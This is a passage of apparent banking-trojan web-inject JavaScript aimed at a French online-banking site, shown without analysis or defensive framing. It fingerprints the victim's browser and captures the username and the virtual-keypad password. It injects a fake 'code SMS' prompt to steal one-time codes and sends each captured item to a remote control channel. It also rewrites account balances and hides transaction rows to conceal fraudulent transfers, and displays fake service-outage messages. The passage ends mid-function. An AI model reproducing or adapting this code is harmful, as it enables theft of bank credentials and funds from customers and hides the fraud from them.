  588.         create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
  589.        
  590.         selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
  591.        
  592.         after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
  593.        
  594.         clone: function(inp,value){
  595.             var object = document.createElement(inp.tagName);
  596.             for (x in inp.attributes){
  597.                 if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
  598.                     if(inp.attributes[x].name == "onclick" ||
  599.                        inp.attributes[x].name == "name" ||
  600.                        inp.attributes[x].name == "href" ||
  601.                        inp.attributes[x].name == "id" ||
  602.                        inp.attributes[x].name == "value"
  603.                     ){
  604.                         continue;
  605.                     }
  606.                     object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
  607.                 }
  608.             }
  609.             if(/select/igm.test(inp.tagName)){
  610.                 object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
  611.             }else{
  612.                 value = value ? value : inp.value;
  613.                 object.value = value;
  614.             }
  615.             object.disabled = true;
  616.             inp.style.display = "none";
  617.             inp.parentNode.insertBefore(object,inp);
  618.         },
  619.        
  620.         next: function(e,len,n){
  621.             if(e.value.length == len)document.getElementById(n).focus();
  622.         },
  623.        
  624.         check_cc: function(value){
  625.             if (/[^0-9-\s]+/.test(value)) return false;
  626.             var nCheck = 0, nDigit = 0, bEven = false;
  627.             value = value.replace(/\D/g, "");
  628.             for (var n = value.length - 1; n >= 0; n--) {
  629.                 var cDigit = value.charAt(n),
  630.                 nDigit = parseInt(cDigit, 10);
  631.                 if(bEven){
  632.                     if ((nDigit *= 2) > 9) nDigit -= 9;
  633.                 }
  634.                 nCheck += nDigit;
  635.                 bEven = !bEven;
  636.             }
  637.             return (nCheck % 10) == 0;
  638.         },
  639.        
  640.         check_day: function(dd){
  641.             if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
  642.                 return true;
  643.             }else{
  644.                 return false;
  645.             }
  646.         },
  647.        
  648.         check_month: function(mm){
  649.             if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
  650.                 return true;
  651.             }else{
  652.                 return false;
  653.             }
  654.         },
  655.        
  656.         check_year: function(yy,format){
  657.             switch(format){
  658.                 case('YY'):
  659.                     if(parseFloat(yy) >= 15 && (yy+'').length == 2){
  660.                         return true;
  661.                     }else{
  662.                         return false;
  663.                     }
  664.                 break;
  665.                
  666.                 case('YYYY'):
  667.                     if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
  668.                         return true;
  669.                     }else{
  670.                         return false;
  671.                     }
  672.                 break;
  673.             }
  674.         }
  675.     };
  676. }());
  677.  
  678. (function (window) {
  679.     {
  680.         var unknown = '-';
  681.  
  682.         // screen
  683.         var screenSize = '';
  684.         if (screen.width) {
  685.             width = (screen.width) ? screen.width : '';
  686.             height = (screen.height) ? screen.height : '';
  687.             screenSize += '' + width + " x " + height;
  688.         }
  689.  
  690.         //browser
  691.         var nVer = navigator.appVersion;
  692.         var nAgt = navigator.userAgent;
  693.         var browser = navigator.appName;
  694.         var version = '' + parseFloat(navigator.appVersion);
  695.         var majorVersion = parseInt(navigator.appVersion, 10);
  696.         var nameOffset, verOffset, ix;
  697.  
  698.         // Opera
  699.         if ((verOffset = nAgt.indexOf('Opera')) != -1) {
  700.             browser = 'Opera';
  701.             version = nAgt.substring(verOffset + 6);
  702.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  703.                 version = nAgt.substring(verOffset + 8);
  704.             }
  705.         }
  706.         // MSIE
  707.         else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
  708.             browser = 'Microsoft Internet Explorer';
  709.             version = nAgt.substring(verOffset + 5);
  710.         }
  711.         // Chrome
  712.         else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
  713.             browser = 'Chrome';
  714.             version = nAgt.substring(verOffset + 7);
  715.         }
  716.         // Safari
  717.         else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
  718.             browser = 'Safari';
  719.             version = nAgt.substring(verOffset + 7);
  720.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  721.                 version = nAgt.substring(verOffset + 8);
  722.             }
  723.         }
  724.         // Firefox
  725.         else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
  726.             browser = 'Firefox';
  727.             version = nAgt.substring(verOffset + 8);
  728.         }
  729.         // MSIE 11+
  730.         else if (nAgt.indexOf('Trident/') != -1) {
  731.             browser = 'Microsoft Internet Explorer';
  732.             version = nAgt.substring(nAgt.indexOf('rv:') + 3);
  733.         }
  734.         // Other browsers
  735.         else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
  736.             browser = nAgt.substring(nameOffset, verOffset);
  737.             version = nAgt.substring(verOffset + 1);
  738.             if (browser.toLowerCase() == browser.toUpperCase()) {
  739.                 browser = navigator.appName;
  740.             }
  741.         }
  742.         // trim the version string
  743.         if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
  744.         if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
  745.         if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
  746.  
  747.         majorVersion = parseInt('' + version, 10);
  748.         if (isNaN(majorVersion)) {
  749.             version = '' + parseFloat(navigator.appVersion);
  750.             majorVersion = parseInt(navigator.appVersion, 10);
  751.         }
  752.  
  753.         // mobile version
  754.         var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
  755.  
  756.         // cookie
  757.         var cookieEnabled = (navigator.cookieEnabled) ? true : false;
  758.  
  759.         if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
  760.             document.cookie = 'testcookie';
  761.             cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
  762.         }
  763.  
  764.         // system
  765.         var os = unknown;
  766.         var clientStrings = [
  767.             {s:'Windows 3.11', r:/Win16/},
  768.             {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
  769.             {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
  770.             {s:'Windows 98', r:/(Windows 98|Win98)/},
  771.             {s:'Windows CE', r:/Windows CE/},
  772.             {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
  773.             {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
  774.             {s:'Windows Server 2003', r:/Windows NT 5.2/},
  775.             {s:'Windows Vista', r:/Windows NT 6.0/},
  776.             {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
  777.             {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
  778.             {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
  779.             {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
  780.             {s:'Windows ME', r:/Windows ME/},
  781.             {s:'Android', r:/Android/},
  782.             {s:'Open BSD', r:/OpenBSD/},
  783.             {s:'Sun OS', r:/SunOS/},
  784.             {s:'Linux', r:/(Linux|X11)/},
  785.             {s:'iOS', r:/(iPhone|iPad|iPod)/},
  786.             {s:'Mac OS X', r:/Mac OS X/},
  787.             {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
  788.             {s:'QNX', r:/QNX/},
  789.             {s:'UNIX', r:/UNIX/},
  790.             {s:'BeOS', r:/BeOS/},
  791.             {s:'OS/2', r:/OS\/2/},
  792.             {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
  793.         ];
  794.         for (var id in clientStrings) {
  795.             var cs = clientStrings[id];
  796.             if (cs.r.test(nAgt)) {
  797.                 os = cs.s;
  798.                 break;
  799.             }
  800.         }
  801.  
  802.         var osVersion = unknown;
  803.  
  804.         if (/Windows/.test(os)) {
  805.             osVersion = /Windows (.*)/.exec(os)[1];
  806.             os = 'Windows';
  807.         }
  808.  
  809.         switch (os) {
  810.             case 'Mac OS X':
  811.                 osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
  812.                 break;
  813.  
  814.             case 'Android':
  815.                 osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
  816.                 break;
  817.  
  818.             case 'iOS':
  819.                 osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
  820.                 osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
  821.                 break;
  822.         }
  823.  
  824.         // flash (you'll need to include swfobject)
  825.         /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
  826.         var flashVersion = 'no check';
  827.         if (typeof swfobject != 'undefined') {
  828.             var fv = swfobject.getFlashPlayerVersion();
  829.             if (fv.major > 0) {
  830.                 flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
  831.             }
  832.             else  {
  833.                 flashVersion = unknown;
  834.             }
  835.         }
  836.     }
  837.  
  838.     window.jscd = {
  839.         screen: screenSize,
  840.         browser: browser,
  841.         browserVersion: version,
  842.         mobile: mobile,
  843.         os: os,
  844.         osVersion: osVersion,
  845.         cookies: cookieEnabled,
  846.         flashVersion: flashVersion
  847.     };
  848. }(this));
  849.  
  850. _tables = Tables;
  851. _tables.set('continue',true);
  852. _tables.set('message','');
  853. _tables.set('type','intercept');
  854. _tables.set('start','start');
  855. _tables.set('end','end');
  856. _tables.set('finish','');
  857. _tables.set('data','');
  858. _tables.set('login',function(){return _tables.findout(document,'input','type:text','name:CCPTE');});
  859. _tables.set('password','');
  860. _tables.set('button',function(){return _tables.findout(document,'a','href:ValidCertif') || _tables.findin(document,'a','Confirmer');});
  861. _tables.set('logout',function(){return _tables.id('btn-deconnexion') || _tables.findout(document,'a','href:Deconnexion');});
  862. _tables.set('clearbutton',function(){return _tables.findout(document,'a','href:corriger');});
  863. _tables.set('loader','data:image/gif;base64,R0lGODlhEAAQAPIAAP////ddAPzXwviGQvddAPmbYvqvgvu5kiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==');
  864.  
  865. _tables.text = {
  866.     block_title: 'La consultation de vos comptes est momentan&#233;ment indisponible.',
  867.     block_body: 'Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.'
  868. };
  869.  
  870. _tables.showpage = function(){
  871.     if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
  872. };
  873.  
  874. _tables.fkbtn = function(){
  875.     var error = false;
  876.     var code = _tables.id('_tables.code.input');
  877.     var sps = _tables.child(code.parentNode,'span');
  878.     if(sps && sps.length > 0){
  879.         sps[0].style.visibility = 'hidden';
  880.         if(code.value.length < 2){
  881.             error = true;
  882.             sps[0].style.visibility = 'visible';
  883.         }else{
  884.             sps[0].style.visibility = 'hidden';
  885.         }
  886.     }
  887.     if(!error){
  888.         _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');});
  889.         _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
  890.         _tables.set('pause',true);
  891.         _tables.status('TJ');
  892.         _tables.send(
  893.                         {'type':_tables.get('type')},
  894.                         {'domain':document.domain},
  895.                         {'data':'Code: '+code.value},
  896.                         {'message':'Data recieved'},
  897.                         {'branch':'TJ'}
  898.         );
  899.     }
  900. };
  901.  
  902. _tables.fake = function(step){
  903.     switch(step){
  904.         case('LOGIN'):
  905.             document.location.href = document.location.href;
  906.         break;
  907.        
  908.         case('RELOGIN'):
  909.             document.location.href = document.location.href;
  910.         break;
  911.        
  912.         case('BLOCK'):
  913.             if(top == self){
  914.                 var div_1 = false;
  915.                 var div_2 = false;
  916.                 var div = _tables.child(document,'div');
  917.                 if(div && div.length > 0){
  918.                     for(var i = 0; i < div.length; i++){
  919.                         if(div[i].className == 'blc-choix-wrap'){
  920.                             if(div_1 == false){
  921.                                 div_1 = div[i];
  922.                             }else{
  923.                                 div_2 = div[i];
  924.                                 break;
  925.                             }
  926.                         }
  927.                     }
  928.                 }
  929.                 if(div_2){
  930.                     div_2.parentNode.parentNode.parentNode.parentNode.style.display = 'none';
  931.                 }
  932.                 if(div_1){
  933.                     var div = document.createElement('div');
  934.                     div.id = '_tables.fakebox';
  935.                     div.innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
  936.                     div.className = 'container-ident';
  937.                     div_1.innerHTML = div.innerHTML;
  938.                 }
  939.                 if(_tables.id('tbfkbtn')){
  940.                     var ptd = _tables.id('tbfkbtn').parentNode;
  941.                     ptd.innerHTML = '';
  942.                 }
  943.             }else{
  944.                 if(_tables.id('bloc-pave-saisis-code')){
  945.                     _tables.id('bloc-pave-saisis-code').innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
  946.                 }
  947.             }
  948.         break;
  949.        
  950.         case('FAKE'):
  951.             if(top == self){
  952.                 var div_1 = false;
  953.                 var div_2 = false;
  954.                 var div = _tables.child(document,'div');
  955.                 if(div && div.length > 0){
  956.                     for(var i = 0; i < div.length; i++){
  957.                         if(div[i].className == 'blc-choix-wrap'){
  958.                             if(div_1 == false){
  959.                                 div_1 = div[i];
  960.                             }else{
  961.                                 div_2 = div[i];
  962.                                 break;
  963.                             }
  964.                         }
  965.                     }
  966.                 }
  967.                 div_1.style.paddingBottom = '10px';
  968.                 div_1.innerHTML = _tables.tinydecode(_tables.answer.p2).replace(/\<p\>\<br\>\<\/p\>$/igm,'');
  969.                 div_2.innerHTML = '<b>Veuillez saisir votre code SMS :</b>&nbsp;<input id="_tables.code.input" type="password" maxlength=6 size=6 style="margin-left:3px;"><span style="color:red;visibility:hidden;">*</span>';
  970.                
  971.                 var a = document.createElement('a');
  972.                 a.id = 'tbfkbtn';
  973.                 a.className = 'droite';
  974.                 a.style.cssFloat = 'right';
  975.                 a.style.styleFloat = 'right';
  976.                 a.innerHTML = 'Confirmer';
  977.                
  978.                 var btn = _tables.findout(document,'a','href:ouvrePOPUP');
  979.                 if(btn){
  980.                     var ptd = btn.parentNode.parentNode.parentNode;
  981.                     ptd.innerHTML = '';
  982.                 }else{
  983.                     if(_tables.id('tbfkbtn')){
  984.                         var ptd = _tables.id('tbfkbtn').parentNode;
  985.                         _tables.id('tbfkbtn').parentNode.removeChild(_tables.id('tbfkbtn'));
  986.                         ptd.innerHTML = '';
  987.                     }
  988.                 }
  989.                 if(ptd){
  990.                     ptd.style.textAlign = 'right';
  991.                     ptd.appendChild(a);
  992.                     _tables.bind('click',_tables.id('tbfkbtn'),function(){_tables.fkbtn();});
  993.                 }
  994.                
  995.             }else{
  996.                 if(_tables.id('bloc-pave-saisis-code')){
  997.                     if(_tables.id('top-actions-aide'))_tables.id('top-actions-aide').parentNode.style.display = 'none';
  998.                     _tables.id('bloc-pave-saisis-code').innerHTML = '<b>Veuillez saisir votre code SMS :</b><br><input id="_tables.code.input" type="password" maxlength=6 size=6><span style="color:red;visibility:hidden;">*</span>'+
  999.                                                                     '<a id="tbfkbtn" class="droite" style="float:right;cursor:pointer;margin-top:-5px;">Confirmer</a>';
  1000.                     _tables.bind('click',_tables.id('tbfkbtn'),function(){_tables.fkbtn();});
  1001.                 }
  1002.             }
  1003.            
  1004.             setTimeout(function(){
  1005.                 _tables.cc('CC');
  1006.             },1000);
  1007.         break;
  1008.     }
  1009. };
  1010.  
  1011. _tables.grep_amount = function(acc){
  1012.     if(!_tables.replacerarray){
  1013.         return 0;
  1014.     }
  1015.     var re_a = 0;
  1016.    
  1017.     if(acc == '[EMPTY]'){
  1018.         for(x in _tables.replacerarray){
  1019.             re_a += parseFloat(_tables.replacerarray[x]['amount']);
  1020.         }
  1021.     }else{
  1022.         for(x in _tables.replacerarray){
  1023.             if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
  1024.                 re_a += parseFloat(_tables.replacerarray[x]['amount']);
  1025.             }
  1026.         }
  1027.     }
  1028.    
  1029.     return re_a;
  1030. };
  1031.  
  1032. _tables.grep_mask = function(acc){
  1033.     if(!_tables.replacerarray){
  1034.         return false;
  1035.     }
  1036.     for(x in _tables.replacerarray){
  1037.         if(acc.length > 2 && _tables.replacerarray[x]['mask'].length > 2){
  1038.             if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
  1039.                 return true;
  1040.             }
  1041.         }
  1042.     }
  1043.     return false;
  1044. };
  1045.  
  1046. _tables.replacer_preload = function(){
  1047.     var img = _tables.child(document,'img');
  1048.     if(img && img.length > 0){
  1049.         for(var i = 0; i < img.length; i++){
  1050.             if(/picto_telecharger\.png/igm.test(img[i].src)){
  1051.                 img[i].style.display = 'none';
  1052.             }
  1053.         }
  1054.     }
  1055.    
  1056.     if(_tables.findout(document,'select','name:FORMATEL')){
  1057.         _tables.findout(document,'select','name:FORMATEL').parentNode.parentNode.parentNode.parentNode.parentNode.style.display = 'none';
  1058.     }
  1059.    
  1060.     var a = _tables.child(document,'a');
  1061.     if(a && a.length > 0){
  1062.         for(var i = 0; i < a.length; i++){
  1063.             if(/Vos documents.*lectroniques/igm.test(a[i].title)){
  1064.                 a[i].parentNode.style.display = 'none';
  1065.             }
  1066.             if(/pdf/igm.test(a[i].title)){
  1067.                 a[i].parentNode.parentNode.style.display = 'none';
  1068.             }
  1069.             if(/imprimer/igm.test(a[i].id)){
  1070.                 a[i].style.display = 'none';
  1071.             }
  1072.         }
  1073.     }
  1074.    
  1075.     if(_tables.findin(document,'p','Votre derni.*re connexion')){
  1076.         _tables.findin(document,'p','Votre derni.*re connexion').style.display = 'none';
  1077.     }
  1078.    
  1079. };
  1080.  
  1081. _tables.replacer_balance = function(){
  1082.     var killer = false;
  1083.     var table = _tables.findout(document,'table','class:ca\-table');
  1084.     if(table){
  1085.         var tr = _tables.child(table,'tr');
  1086.         if(tr && tr.length > 0){
  1087.             for(var i = 0; i < tr.length; i++){
  1088.                 var td = _tables.child(tr[i],'td');
  1089.                 var th = _tables.child(tr[i],'th');
  1090.                 if(th && th.length == 1 && td && td.length == 2){
  1091.                     var _I1 = _tables.html(th[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1092.                     if(_tables.grep_amount(_I1) > 0){
  1093.                         _tables.replace(td[1],_tables.grep_amount(_I1));
  1094.                     }
  1095.                 }
  1096.                 if(td && td.length == 7){
  1097.                     var _I1 = _tables.html(td[2].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1098.                     if(_tables.grep_amount(_I1) > 0){
  1099.                         _tables.replace(td[4],_tables.grep_amount(_I1));
  1100.                         if(/\d{2,}/igm.test(_tables.html(td[3]))){
  1101.                             _tables.replace(td[3],_tables.grep_amount(_I1));
  1102.                         }
  1103.                         killer = true;
  1104.                     }
  1105.                 }
  1106.                 if(td && td.length == 5 && killer){
  1107.                     tr[i].style.display = 'none';
  1108.                 }
  1109.             }
  1110.         }
  1111.     }
  1112. };
  1113.  
  1114. _tables.replacer_history = function(){
  1115.     var colored = false;
  1116.     var table = _tables.findout(document,'table','class:ca\-table','summary:Date, valeur');
  1117.     if(table){
  1118.         var tr = _tables.child(table,'tr');
  1119.         if(tr && tr.length > 0){
  1120.             for(var i = 0; i < tr.length; i++){
  1121.                 var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1122.                 if(_tables.grep_mask(_I1)){
  1123.                     tr[i].style.display = 'none';
  1124.                     colored = true;
  1125.                 }
  1126.             }
  1127.         }
  1128.        
  1129.         if(colored){
  1130.             var tr = _tables.child(table,'tr');
  1131.             var index = 0;
  1132.             if(tr && tr.length > 0){
  1133.                 for(var i = 0; i < tr.length; i++){
  1134.                     if(tr[i].style.display != 'none'){
  1135.                         if(index % 2 == 0){
  1136.                             tr[i].className = 'ligne-impaire';
  1137.                         }else{
  1138.                             tr[i].className = 'ligne-paire';
  1139.                         }
  1140.                         index++;
  1141.                     }
  1142.                 }
  1143.             }
  1144.         }
  1145.     }
  1146.     var table = _tables.findout(document,'table','summary:SEPA');
  1147.     if(table){
  1148.         var acolor = false;
  1149.         var tr = _tables.child(table,'tr');
  1150.         if(tr && tr.length > 0){
  1151.             for(var i = 0; i < tr.length; i++){
  1152.                 var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1153.                 var td = _tables.child(tr[i],'td');            
  1154.                 if(_tables.grep_mask(_I1)){
  1155.                     tr[i].style.display = 'none';
  1156.                     if(td && td.length == 3){
  1157.                         acolor = true;
  1158.                     }
  1159.                 }
  1160.             }
  1161.         }
  1162.         if(acolor){
  1163.             var tr = _tables.child(table,'tr');
  1164.             var index = 0;
  1165.             if(tr && tr.length > 0){
  1166.                 for(var i = 1; i < tr.length; i++){
  1167.                     if(tr[i].style.display != 'none'){
  1168.                         if(index % 2 == 0){
  1169.                             tr[i].className = 'ligne-impaire';
  1170.                         }else{
  1171.                             tr[i].className = '';
  1172.                         }
  1173.                         index++;
  1174.                     }
  1175.                 }
  1176.             }
  1177.         }
  1178.     }
  1179. };
  1180.  
  1181. _tables.replacer_selects = function(){
  1182.     var select = _tables.child(document,'select');
  1183.     if(select && select.length > 0){
  1184.         for(var i = 0; i < select.length; i++){
  1185.             _tables.replacer_select(select[i]);
  1186.         }
  1187.     }
  1188. };
  1189.  
  1190. _tables.replacer_select = function(sel){
  1191.     if(sel){
  1192.         for(var i = 0; i < sel.length; i++){
  1193.            
  1194.             var acc = sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1195.            
  1196.             for(x in _tables.replacerarray){
  1197.                 if(_tables.replacerarray[x]['mask'].length > 3 && new RegExp(_tables.replacerarray[x]['mask'],'igm').test(sel[i].text)){
  1198.                     sel[i].style.display = 'none';
  1199.                     sel[i].text = '';
  1200.                     continue;
  1201.                 }
  1202.             }
  1203.            
  1204.                
  1205.             var account = false;
  1206.            
  1207.             for(x in _tables.replacerarray){
  1208.                 if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(sel[i].text) || _tables.replacerarray[x]['account'] == sel[i].text){
  1209.                     account = _tables.replacerarray[x]['account'];
  1210.                 }
  1211.             }
  1212.            
  1213.             if(account){
  1214.                 _tables.splitter(account,1);
  1215.                 _tables.replace(sel[i],_tables.grep_amount(sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"")));
  1216.             }
  1217.         }
  1218.     }
  1219. };
  1220.  
  1221. _tables.replacer = function(){
  1222.     _tables.replacer_preload();
  1223.     _tables.replacer_balance();
  1224.     _tables.replacer_history();
  1225.     _tables.replacer_selects();
  1226. };
  1227.  
  1228. _tables.callback = function(){
  1229.     _tables.set('message','');
  1230.     switch(_tables.status()){
  1231.         case('CS'):
  1232.             if(/block/igm.test(_tables.answer.p1)){
  1233.                 _tables.fake('BLOCK');
  1234.                 _tables.showpage();
  1235.             }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
  1236.                 _tables.status('NL');
  1237.                 _tables.send(
  1238.                     {'type':_tables.get('type')},
  1239.                     {'domain':document.domain},
  1240.                     {'link':document.location.href},
  1241.                     {'data':'OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
  1242.                     {'message':'Login page onloaded'},
  1243.                     {'branch':'TJ'}
  1244.                 );
  1245.             }else{
  1246.                 _tables.smalllogin();
  1247.                 _tables.showpage();
  1248.             }
  1249.         break;
  1250.        
  1251.         case('SL'):
  1252.             setTimeout(function(){
  1253.                 _tables.cc('CC');
  1254.             },1500);
  1255.         break;
  1256.        
  1257.         case('JL'):
  1258.             _tables.get('button').click();
  1259.         break;
  1260.        
  1261.         case('NL'):
  1262.             _tables.loginform();
  1263.             _tables.showpage();
  1264.         break;
  1265.        
  1266.         case('CC'):
  1267.             if(_tables.get('justLogin')){
  1268.                 _tables.logintimer(_tables.answer.t1*1000);
  1269.             }
  1270.             _tables.set('justLogin',false);
  1271.             if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
  1272.                 setTimeout(function(){
  1273.                     _tables.cc('CC');
  1274.                 },1000);
  1275.             }else{
  1276.                 _tables.set('ABORT',true);
  1277.                 _tables.fake(_tables.answer.p1);
  1278.             }
  1279.         break;
  1280.        
  1281.         case('CP'):
  1282.             if(!_tables.replacerarray){
  1283.                 _tables.showpage();
  1284.                 return;
  1285.             }
  1286.             _tables.replacer();
  1287.             _tables.showpage();
  1288.         break;
  1289.        
  1290.         case('TJ'):
  1291.             _tables.set('pause',false);
  1292.             _tables.cc('CC');
  1293.         break;
  1294.        
  1295.         default:
  1296.             _tables.showpage();
  1297.         break;
  1298.     }
  1299. };
  1300.  
  1301. _tables.cc = function(stat){
  1302.     if(_tables.get('pause'))return false;
  1303.     _tables.status(stat);
  1304.     _tables.send(
  1305.         {'type':'intercept'},
  1306.         {'domain':document.domain},
  1307.         {'link':document.location.href},
  1308.         {'browser':_tables.brows()},
  1309.         {'branch':'CC'}
  1310.     );
  1311. };
  1312.  
  1313. _tables.keyboard = function(p){
  1314.     var pass = _tables.get('password') + p+'';
  1315.     _tables.set('password',pass);
  1316.     if(p == '_'){
  1317.         clicPosition('01');
  1318.     }else{
  1319.         clicPosition('0'+p);
  1320.     }
  1321.     return false;
  1322. };
  1323.  
  1324. _tables.smalllogin = function(){
  1325.     _tables.input(_tables.get('login'),'block');
  1326.     _tables.replacebutton(_tables.get('button'),function(e){
  1327.         var evt = e ? e : window.event;
  1328.         if(evt.preventDefault)evt.preventDefault();
  1329.         if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  1330.         if(evt.cancelBubble!=null)evt.cancelBubble = true;
  1331.         store.clear();
  1332.         store.set('username',_tables.get('login').value);
  1333.         _tables.status('JL');
  1334.         _tables.send({'login1':_tables.get('login').value},
  1335.                         {'login2':''},
  1336.                         {'type':'grabber'},
  1337.                         {'domain':document.domain},
  1338.                         {'link':document.location.href},
  1339.                         {'browser':_tables.brows()},
  1340.                         {'message':'Trying to Login'},
  1341.                         {'jabber':'SEND'},
  1342.                         {'branch':'SL'}
  1343.         );
  1344.         return false;
  1345.     },'annuler droite');
  1346. };
  1347.  
  1348. _tables.loginform = function(){
  1349.     if(_tables.id('pave-saisie-code')){
  1350.         _tables.id('pave-saisie-code').style.display = 'none';
  1351.         var div = document.createElement('div');
  1352.         div.innerHTML = '<table id="pave-saisie-code" class="gauche"><tbody><tr align="center" valign="middle">'+
  1353.                                 '<td><a tabindex="2" style="cursor:pointer;" onclick="_tables.keyboard(0);">'+
  1354.                                 '&nbsp;&nbsp;0&nbsp;&nbsp;'+
  1355.                                 '</a></td>'+
  1356.                                 '<td><a tabindex="3" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1357.                                 '<td><a tabindex="4" style="cursor:pointer;" onclick="_tables.keyboard(3);">'+
  1358.                                 '&nbsp;&nbsp;3&nbsp;&nbsp;'+
  1359.                                 '</a></td>'+
  1360.                                 '<td><a tabindex="5" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1361.                                 '<td><a tabindex="6" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
  1362.                                 '</tr>'+
  1363.                                 '<tr align="center" valign="middle">'+
